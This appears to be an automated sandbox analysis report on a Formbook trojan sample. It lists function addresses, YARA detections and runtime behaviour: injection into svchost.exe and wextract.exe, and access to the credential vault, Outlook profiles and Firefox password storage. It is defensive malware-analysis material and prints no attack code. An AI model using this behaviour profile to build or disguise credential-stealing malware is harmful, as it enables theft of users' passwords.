            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03249EB02_2_03249EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F7D732_2_032F7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03243D402_2_03243D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F1D5A2_2_032F1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325FDC02_2_0325FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B9C322_2_032B9C32
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FFCF22_2_032FFCF2
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D7E4F613_2_04D7E4F6
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8244613_2_04D82446
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D7442013_2_04D74420
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D9059113_2_04D90591
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD053513_2_04CD0535
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CEC6E013_2_04CEC6E0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CCC7C013_2_04CCC7C0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CF475013_2_04CF4750
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD077013_2_04CD0770
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D6200013_2_04D62000
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D881CC13_2_04D881CC
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D901AA13_2_04D901AA
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D841A213_2_04D841A2
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D5815813_2_04D58158
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CC010013_2_04CC0100
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D6A11813_2_04D6A118
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D502C013_2_04D502C0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D7027413_2_04D70274
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CDE3F013_2_04CDE3F0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D903E613_2_04D903E6
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8A35213_2_04D8A352
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CC0CF213_2_04CC0CF2
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D70CB513_2_04D70CB5
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD0C0013_2_04CD0C00
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CCADE013_2_04CCADE0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CE8DBF13_2_04CE8DBF
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D6CD1F13_2_04D6CD1F
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CDAD0013_2_04CDAD00
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8EEDB13_2_04D8EEDB
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8CE9313_2_04D8CE93
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CE2E9013_2_04CE2E90
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD0E5913_2_04CD0E59
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8EE2613_2_04D8EE26
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CC2FC813_2_04CC2FC8
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CDCFE013_2_04CDCFE0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D4EFA013_2_04D4EFA0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D44F4013_2_04D44F40
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D72F3013_2_04D72F30
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D12F2813_2_04D12F28
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CF0F3013_2_04CF0F30
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CFE8F013_2_04CFE8F0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CB68B813_2_04CB68B8
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD284013_2_04CD2840
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CDA84013_2_04CDA840
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD29A013_2_04CD29A0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D9A9A613_2_04D9A9A6
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CE696213_2_04CE6962
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CCEA8013_2_04CCEA80
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D86BD713_2_04D86BD7
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8AB4013_2_04D8AB40
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CC146013_2_04CC1460
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8F43F13_2_04D8F43F
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D6D5B013_2_04D6D5B0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8757113_2_04D87571
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D816CC13_2_04D816CC
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8F7B013_2_04D8F7B0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD70C013_2_04CD70C0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D7F0CC13_2_04D7F0CC
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D870E913_2_04D870E9
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8F0E013_2_04D8F0E0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CDB1B013_2_04CDB1B0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D9B16B13_2_04D9B16B
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CBF17213_2_04CBF172
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D0516C13_2_04D0516C
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CEB2C013_2_04CEB2C0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D712ED13_2_04D712ED
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD52A013_2_04CD52A0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D1739A13_2_04D1739A
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CBD34C13_2_04CBD34C
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8132D13_2_04D8132D
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8FCF213_2_04D8FCF2
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D49C3213_2_04D49C32
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CEFDC013_2_04CEFDC0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D81D5A13_2_04D81D5A
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD3D4013_2_04CD3D40
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D87D7313_2_04D87D73
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD9EB013_2_04CD9EB0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD1F9213_2_04CD1F92
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8FFB113_2_04D8FFB1
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8FF0913_2_04D8FF09
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD38E013_2_04CD38E0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D3D80013_2_04D3D800
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CD995013_2_04CD9950
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CEB95013_2_04CEB950
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D6591013_2_04D65910
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D7DAC613_2_04D7DAC6
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D15AA013_2_04D15AA0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D71AA313_2_04D71AA3
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D6DAAC13_2_04D6DAAC
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8FA4913_2_04D8FA49
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D87A4613_2_04D87A46
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D43A6C13_2_04D43A6C
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D45BF013_2_04D45BF0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D0DBF913_2_04D0DBF9
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CEFB8013_2_04CEFB80
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D8FB7613_2_04D8FB76
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CD172013_2_02CD1720
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CCC63013_2_02CCC630
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CCAA1813_2_02CCAA18
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CCA8C813_2_02CCA8C8
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CCA8D013_2_02CCA8D0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CCC85013_2_02CCC850
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CD2FAB13_2_02CD2FAB
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CD2FB013_2_02CD2FB0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CD4DC013_2_02CD4DC0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CEB44013_2_02CEB440
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AAE48313_2_04AAE483
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AB541413_2_04AB5414
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AAE36813_2_04AAE368
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AAD88813_2_04AAD888
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AAE81C13_2_04AAE81C
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AACB1313_2_04AACB13
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03287E54 appears 111 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03275130 appears 58 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0322B970 appears 277 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 032AEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 032BF290 appears 105 times
            Source: C:\Windows\SysWOW64\wextract.exeCode function: String function: 04CBB970 appears 277 times
            Source: C:\Windows\SysWOW64\wextract.exeCode function: String function: 04D17E54 appears 102 times
            Source: C:\Windows\SysWOW64\wextract.exeCode function: String function: 04D4F290 appears 105 times
            Source: C:\Windows\SysWOW64\wextract.exeCode function: String function: 04D3EA12 appears 86 times
            Source: C:\Windows\SysWOW64\wextract.exeCode function: String function: 04D05130 appears 58 times
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: String function: 004115D7 appears 36 times
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: String function: 00416C70 appears 39 times
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: String function: 00445AE0 appears 65 times
            Source: oLCnCWQDhK.exe, 00000000.00000003.1260253086.000000000486D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs oLCnCWQDhK.exe
            Source: oLCnCWQDhK.exe, 00000000.00000003.1260700980.00000000046C3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs oLCnCWQDhK.exe
            Source: oLCnCWQDhK.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 2.2.svchost.exe.690000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 2.2.svchost.exe.690000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000D.00000002.2503030807.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@3/2
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044AF6C GetLastError,FormatMessageW,0_2_0044AF6C
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004333BE
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464EAE
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D619
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,0_2_004755C4
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,0_2_0047839D
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043305F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeFile created: C:\Users\user~1\AppData\Local\Temp\sulfhydricJump to behavior
            Source: oLCnCWQDhK.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002EA3000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.2142187951.0000000002E7F000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2503345244.0000000002E73000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.2139945184.0000000002E73000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.2139830355.0000000002E52000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: oLCnCWQDhK.exeReversingLabs: Detection: 76%
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeFile read: C:\Users\user\Desktop\oLCnCWQDhK.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\oLCnCWQDhK.exe "C:\Users\user\Desktop\oLCnCWQDhK.exe"
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\oLCnCWQDhK.exe"
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeProcess created: C:\Windows\SysWOW64\wextract.exe "C:\Windows\SysWOW64\wextract.exe"
            Source: C:\Windows\SysWOW64\wextract.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\oLCnCWQDhK.exe"Jump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeProcess created: C:\Windows\SysWOW64\wextract.exe "C:\Windows\SysWOW64\wextract.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: cabinet.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: oLCnCWQDhK.exeStatic file information: File size 1396191 > 1048576
            Source: Binary string: wextract.pdb source: svchost.exe, 00000002.00000003.1878117159.0000000000A4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1877944865.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000003.1848017873.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014EB000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wextract.pdbGCTL source: svchost.exe, 00000002.00000003.1878117159.0000000000A4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1877944865.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000003.1848017873.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 0000000C.00000002.2504917914.00000000014EB000.00000004.00000020.00020000.00000000.sdmp
